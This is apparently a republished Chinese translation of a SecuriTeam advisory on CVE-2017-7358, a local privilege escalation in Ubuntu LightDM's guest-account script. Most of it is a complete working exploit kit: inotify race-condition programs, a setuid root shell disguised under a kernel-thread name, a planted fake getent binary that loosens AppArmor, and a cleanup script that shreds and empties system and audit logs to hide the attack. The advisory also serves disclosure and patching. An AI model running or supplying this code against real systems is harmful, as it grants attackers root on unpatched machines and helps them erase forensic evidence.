Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【漏洞分析】Ubuntu LightDM访客账户本地权限提升漏洞(含PoC)

$
0
0
【漏洞分析】Ubuntu LightDM访客账户本地权限提升漏洞(含PoC)

2017-04-20 10:12:04
来源:securiteam.com 作者:興趣使然的小胃

阅读:335次
点赞(0)
收藏





【漏洞分析】Ubuntu LightDM访客账户本地权限提升漏洞(含PoC)

翻译:興趣使然的小胃

预估稿费:100RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、漏洞概要

Ubuntu 16.10/16.04 LTS版本的LightDM中存在一个本地权限提升漏洞(CVE-2017-7358)。

Ubuntu是一个开源的操作系统,可以运行在多种平台上,比如在物联网(IoT)设备、智能手机、平板电脑、PC、服务器以及云计算都可以看到它的身影。LightDM(Light Display Manager)是一个X显示管理器(X Display Manager,XDM),旨在为用户提供一种轻量级的、快速的、可扩展的和多桌面化的显示管理器。LightDM可以使用多种前端来绘制登录界面(也可以叫做Greeters)。


二、漏洞细节

漏洞位于LightDM中,具体来说,是位于访客登陆功能中。默认情况下,LightDM允许用户以临时用户方式登录系统,此项功能具体实现位于“guest-account”脚本中。

@ubuntu:~$ls-l/usr/sbin/guest-account -rwxr-xr-x1rootroot6516Sep2918:56/usr/sbin/guest-account @ubuntu:~$dpkg-S/usr/sbin/guest-account lightdm:/usr/sbin/guest-account @ubuntu:~$dpkg-slightdm Package:lightdm Status:installokinstalled Priority:optional Section:x11 Installed-Size:672 Maintainer:RobertAncell<robert.ancell@ubuntu.com> Architecture:amd64 Version:1.19.5-0ubuntu1 Provides:x-display-manager Depends:debconf(>=0.5)|debconf-2.0,libc6(>=2.14),libgcrypt20(>=1.7.0),libglib2.0-0(>=2.39.4),libpam0g(>=0.99.7.1),libxcb1,libxdmcp6,adduser,bash(>=4.3),dbus,libglib2.0-bin,libpam-runtime(>=0.76-14),libpam-modules,plymouth(>=0.8.8-0ubuntu18) Pre-Depends:dpkg(>=1.15.7.2) Recommends:xserver-xorg,unity-greeter|lightdm-greeter|lightdm-kde-greeter Suggests:bindfs Conflicts:liblightdm-gobject-0-0,liblightdm-qt-0-0 Conffiles: /etc/apparmor.d/abstractions/lightdma715707411c3cb670a68a4ad738077bf /etc/apparmor.d/abstractions/lightdm_chromium-browsere1195e34922a67fa219b8b95eaf9c305 /etc/apparmor.d/lightdm-guest-session3c7812f49f27e733ad9b5d413c4d14cb /etc/dbus-1/system.d/org.freedesktop.DisplayManager.confb76b6b45d7f7ff533c51d7fc02be32f4 /etc/init.d/lightdmbe2b1b20bec52a04c1a877477864e188 /etc/init/lightdm.conf07304e5b3265b4fb82a2c94beb9b577e /etc/lightdm/users.conf1de1a7e321b98e5d472aa818893a2a3e /etc/logrotate.d/lightdmb6068c54606c0499db9a39a05df76ce9 /etc/pam.d/lightdm1abe2be7a999b42517c82511d9e9ba22 /etc/pam.d/lightdm-autologin28dd060554d1103ff847866658431ecf /etc/pam.d/lightdm-greeter65ed119ce8f4079f6388b09ad9d8b2f9 Description:DisplayManager LightDMisaXdisplaymanagerthat: *Hasalightweightcodebase *Isstandardscompliant(PAM,ConsoleKit,etc) *Hasawelldefinedinterfacebetweentheserveranduserinterface *Cross-desktop(greeterscanbewritteninanytoolkit) Homepage:https://launchpad.net/lightdm @ubuntu:~$

当你在登录界面以访客身份登录时,系统就会以root身份运行此脚本。Ubuntu的默认登录界面是Unity Greeter。

存在漏洞的函数是“add_account”。

35temp_home=$(mktemp-tdguest-XXXXXX) 36GUEST_HOME=$(echo${temp_home}|tr'[:upper:]''[:lower:]') 37GUEST_USER=${GUEST_HOME#/tmp/} 38[${GUEST_HOME}!=${temp_home}]&&mv${temp_home}${GUEST_HOME}

上述代码的第35行,脚本使用“mktemp”命令创建访客文件夹。我们可以通过“inotify”机制监控“/tmp”文件夹,实时发现这种文件夹的创建。

这种文件夹的名称可能包含大写和小写字母。我们发现系统创建此文件夹后,可以快速获取文件夹名称,创建一个名称相同、但字母全部为小写的等效文件夹。

如果我们速度足够快,就可以赶在38行的“mv”命令执行之前,将访客账户的主文件目录劫持到新创建的等效文件夹。

一旦我们控制了访客账户的主文件目录后,我们重命名此目录,替换为指向我们想要控制的另一个目录的符号链接。以下代码会将新用户添加到操作系统中,此时,用户的主目录已经指向我们想要控制的目录,例如“/usr/local/sbin”目录。

68useradd--system--home-dir${GUEST_HOME}--comment$(gettext"Guest")--user-group--shell/bin/bash${GUEST_USER}||{ 69rm-rf${GUEST_HOME} 70exit1 71}

攻击者可以抓取新创建用户的ID,监控“/usr/local/sbin”目录的所有权更换情况。如下代码中的“mount”命令会导致目录所有权发生改变。

78mount-ttmpfs-omode=700,uid=${GUEST_USER}none${GUEST_HOME}||{ 79rm-rf${GUEST_HOME} 80exit1 81}

此时我们可以移除符号链接,使用相同名称创建一个目录,以便访客用户登录系统。访客用户成功登录后,可执行文件的查找路径中会包含用户主目录下的“bin”目录。

这就是为什么我们要创建一个新的符号链接,将访客用户的“bin”目录指向我们希望控制的那个文件目录。这样我们就可以迫使用户以他的user ID执行我们自己的代码。我们使用这种方式注销访客用户的登录会话,这个会话也是我们获取root访问权限的位置所在。

注销代码首先会执行如下代码:

156PWENT=$(getentpasswd${GUEST_USER})||{ 157echo"Error:invaliduser${GUEST_USER}" 158exit1 159}

系统会使用脚本所有者身份(也就是root身份)执行这段代码。由于我们已经掌控了“/usr/local/sbin”目录,并且植入了我们自己的“getent”程序,我们此时已经可以使用root权限执行命令。

顺便提一句,我们可以使用以下两条命令,触发访客会话创建脚本的执行。

XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0"/usr/bin/dm-toollock XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0"/usr/bin/dm-toolswitch-to-guest

三、PoC

漏洞PoC包含9个文件,如下所示:

kodek/bin/cat kodek/shell.c kodek/clean.sh kodek/run.sh kodek/stage1.sh kodek/stage1local.sh kodek/stage2.sh kodek/boclocal.c kodek/boc.c

攻击者可以运行如下命令,获取root权限:

@ubuntu:/var/tmp/kodek$./stage1local.sh @ubuntu:/var/tmp/kodek$ [!]GAMEOVER!!! [!]count1:2337count2:7278 [!]w81minuteandrun/bin/subash @ubuntu:/var/tmp/kodek$/bin/subash root@ubuntu:~#id uid=0(root)gid=0(root)groups=0(root) root@ubuntu:~#

如果漏洞利用失败,你只需要再重新运行一次利用代码即可。

root shell获取成功后,你可以根据需要决定是否清理漏洞利用文件及日志,清理命令如下:

root@ubuntu:/var/tmp/kodek#./clean.sh /usr/bin/shred:/var/log/audit/audit.log:failedtoopenforwriting:Nosuchfileordirectory Doyouwanttoremoveexploit(y/n)? y /usr/bin/shred:/var/tmp/kodek/bin:failedtoopenforwriting:Isadirectory root@ubuntu:/var/tmp/kodek#

具体代码如下。

boc.c

#include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<string.h> #include<ctype.h> #include<sys/inotify.h> #include<sys/stat.h> #include<pwd.h> #defineEVENT_SIZE(sizeof(structinotify_event)) #defineEVENT_BUF_LEN(1024*(EVENT_SIZE+16)) intmain(void){ structstatinfo; structpasswd*pw; structinotify_event*event; pw=getpwnam("root"); if(pw==NULL)exit(0); charnewpath[20]="old."; intlength=0,i,fd,wd,count1=0,count2=0; inta,b; charbuffer[EVENT_BUF_LEN]; fd=inotify_init(); if(fd<0)exit(0); wd=inotify_add_watch(fd,"/tmp/",IN_CREATE|IN_MOVED_FROM); if(wd<0)exit(0); chdir("/tmp/"); while(1){ length=read(fd,buffer,EVENT_BUF_LEN); if(length>0){ event=(structinotify_event*)buffer; if(event->len){ if(strstr(event->name,"guest-")!=NULL){ for(i=0;event->name[i]!='\0';i++){ event->name[i]=tolower(event->name[i]); } if(event->mask&IN_CREATE)mkdir(event->name,ACCESSPERMS); if(event->mask&IN_MOVED_FROM){ rename(event->name,strncat(newpath,event->name,15)); symlink("/usr/local/sbin/",event->name); while(1){ count1=count1+1; pw=getpwnam(event->name); if(pw!=NULL)break; } while(1){ count2=count2+1; stat("/usr/local/sbin/",&info); if(info.st_uid==pw->pw_uid){ a=unlink(event->name); b=mkdir(event->name,ACCESSPERMS); if(a==0&&b==0){ printf("\n[!]GAMEOVER!!!\n[!]count1:%icount2:%i\n",count1,count2); }else{ printf("\n[!]a:%ib:%i\n[!]exploitfailed!!!\n",a,b); } system("/bin/rm-rf/tmp/old.*"); inotify_rm_watch(fd,wd); close(fd); exit(0); } } } } } } } }

boclocal.c

#include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<string.h> #include<ctype.h> #include<sys/inotify.h> #include<sys/stat.h> #include<pwd.h> #defineEVENT_SIZE(sizeof(structinotify_event)) #defineEVENT_BUF_LEN(1024*(EVENT_SIZE+16)) intmain(void){ structstatinfo; structpasswd*pw; structinotify_event*event; pw=getpwnam("root"); if(pw==NULL)exit(0); charnewpath[20]="old."; intlength=0,i,fd,wd,count1=0,count2=0; inta,b,c; charbuffer[EVENT_BUF_LEN]; fd=inotify_init(); if(fd<0)exit(0); wd=inotify_add_watch(fd,"/tmp/",IN_CREATE|IN_MOVED_FROM); if(wd<0)exit(0); chdir("/tmp/"); while(1){ length=read(fd,buffer,EVENT_BUF_LEN); if(length>0){ event=(structinotify_event*)buffer; if(event->len){ if(strstr(event->name,"guest-")!=NULL){ for(i=0;event->name[i]!='\0';i++){ event->name[i]=tolower(event->name[i]); } if(event->mask&IN_CREATE)mkdir(event->name,ACCESSPERMS); if(event->mask&IN_MOVED_FROM){ rename(event->name,strncat(newpath,event->name,15)); symlink("/usr/local/sbin/",event->name); while(1){ count1=count1+1; pw=getpwnam(event->name); if(pw!=NULL)break; } while(1){ count2=count2+1; stat("/usr/local/sbin/",&info); if(info.st_uid==pw->pw_uid){ a=unlink(event->name); b=mkdir(event->name,ACCESSPERMS); c=symlink("/var/tmp/kodek/bin/",strncat(event->name,"/bin",5)); if(a==0&&b==0&&c==0){ printf("\n[!]GAMEOVER!!!\n[!]count1:%icount2:%i\n[!]w81minuteandrun/bin/subash\n",count1,count2); }else{ printf("\n[!]a:%ib:%ic:%i\n[!]exploitfailed!!!\n[!]w81minuteandrunitagain\n",a,b,c); } system("/bin/rm-rf/tmp/old.*"); inotify_rm_watch(fd,wd); close(fd); exit(0); } } } } } } } }

clean.sh

#!/bin/bash if["$(/usr/bin/id-u)"!="0"];then echo"Thisscriptmustberunasroot"1>&2 exit1 fi /bin/rm-rf/tmp/guest-*/tmp/old.guest-* /usr/bin/shred-fu/var/tmp/run.sh/var/tmp/shell/var/tmp/boc/var/log/kern.log/var/log/audit/audit.log/var/log/lightdm/* /bin/echo>/var/log/auth.log /bin/echo>/var/log/syslog /bin/dmesg-c>/dev/null2>&1 /bin/echo"Doyouwanttoremoveexploit(y/n)?" readanswer if["$answer"=="y"];then /usr/bin/shred-fu/var/tmp/kodek/*/var/tmp/kodek/bin/* /bin/rm-rf/var/tmp/kodek else exit fi run.sh #!/bin/sh /bin/cat<<EOF>/usr/local/sbin/getent #!/bin/bash /bin/cp/var/tmp/shell/bin/subash>/dev/null2>&1 /bin/chmod4111/bin/subash>/dev/null2>&1 COUNTER=0 while[\$COUNTER-lt10];do /bin/umount-lf/usr/local/sbin/>/dev/null2>&1 letCOUNTER=COUNTER+1 done /bin/sed-i's/\/usr\/lib\/lightdm\/lightdm-guest-session{/\/usr\/lib\/lightdm\/lightdm-guest-sessionflags=(complain){/g'/etc/apparmor.d/lightdm-guest-session>/dev/null2>&1 /sbin/apparmor_parser-r/etc/apparmor.d/lightdm-guest-session>/dev/null2>&1 /usr/bin/getentpasswd"\$2" EOF /bin/chmod755/usr/local/sbin/getent>/dev/null2>&1

shell.c

#define_GNU_SOURCE #include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<grp.h> intmain(void) { setresuid(0,0,0); setresgid(0,0,0); setgroups(0,NULL); putenv("HISTFILE=/dev/null"); execl("/bin/bash","[bioset]","-pi",NULL); return0; }

stage1.sh

#!/bin/bash if["${PWD}"=="/var/tmp/kodek"];then /usr/bin/killall-9/var/tmp/boc>/dev/null2>&1 /usr/bin/killall-9boc>/dev/null2>&1 /bin/sleep3s /usr/bin/shred-fu/var/tmp/run.sh/var/tmp/shell/var/tmp/boc>/dev/null2>&1 /usr/bin/gccboc.c-Wall-s-o/var/tmp/boc /usr/bin/gccshell.c-Wall-s-o/var/tmp/shell /bin/cp/var/tmp/kodek/run.sh/var/tmp/run.sh /var/tmp/boc else echo"[!]runmefrom/var/tmp/kodek" exit fi

stage1local.sh

#!/bin/bash if["${PWD}"=="/var/tmp/kodek"];then /usr/bin/killall-9/var/tmp/boc>/dev/null2>&1 /usr/bin/killall-9boc>/dev/null2>&1 /bin/sleep3s /usr/bin/shred-fu/var/tmp/run.sh/var/tmp/shell/var/tmp/boc>/dev/null2>&1 /usr/bin/gccboclocal.c-Wall-s-o/var/tmp/boc /usr/bin/gccshell.c-Wall-s-o/var/tmp/shell /bin/cp/var/tmp/kodek/run.sh/var/tmp/run.sh /var/tmp/boc& /bin/sleep5s XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0"/usr/bin/dm-toollock XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0"/usr/bin/dm-toolswitch-to-guest else echo"[!]runmefrom/var/tmp/kodek" exit fi

stage2.sh

#!/bin/sh /usr/bin/systemd-run--user/var/tmp/run.sh /bin/cat #!/bin/sh /usr/bin/systemd-run--user/var/tmp/run.sh /bin/sleep15s /bin/loginctlterminate-session`/bin/loginctlsession-status|/usr/bin/head-1|/usr/bin/awk'{print$1}'`

四、其他说明

独立安全研究员G. Geshev(@munmap)已将该漏洞提交至Beyond Security公司的SecuriTeam安全公告计划。厂商已经发布了补丁来修复此问题,更多细节可以参考此链接。


【漏洞分析】Ubuntu LightDM访客账户本地权限提升漏洞(含PoC)
【漏洞分析】Ubuntu LightDM访客账户本地权限提升漏洞(含PoC)
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://blogs.securiteam.com/index.php/archives/3134

Viewing all articles
Browse latest Browse all 12749

Trending Articles